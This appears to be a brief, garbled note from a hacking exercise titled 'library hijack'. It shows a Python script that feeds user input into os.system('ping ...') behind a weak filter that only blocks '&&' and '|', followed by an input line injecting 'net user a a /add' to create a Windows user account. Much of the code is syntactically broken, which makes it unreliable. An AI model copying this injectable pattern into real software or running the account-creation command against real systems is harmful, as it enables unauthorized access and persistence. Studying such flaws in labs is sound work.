library hijack
  
  import os
  import sys
  import random_useragent
  while True:
  	ping = raw_input ("input: ")
  	if '&&' in ping:
  		print ;hacker....:
  		sys.exit()
  	elif '|' in ping:
  		print ;hacker....:
  	else
  		os.system('ping {}'.format(ping))
  python_py aa_py
  input: import os;os.system('net user a a /add')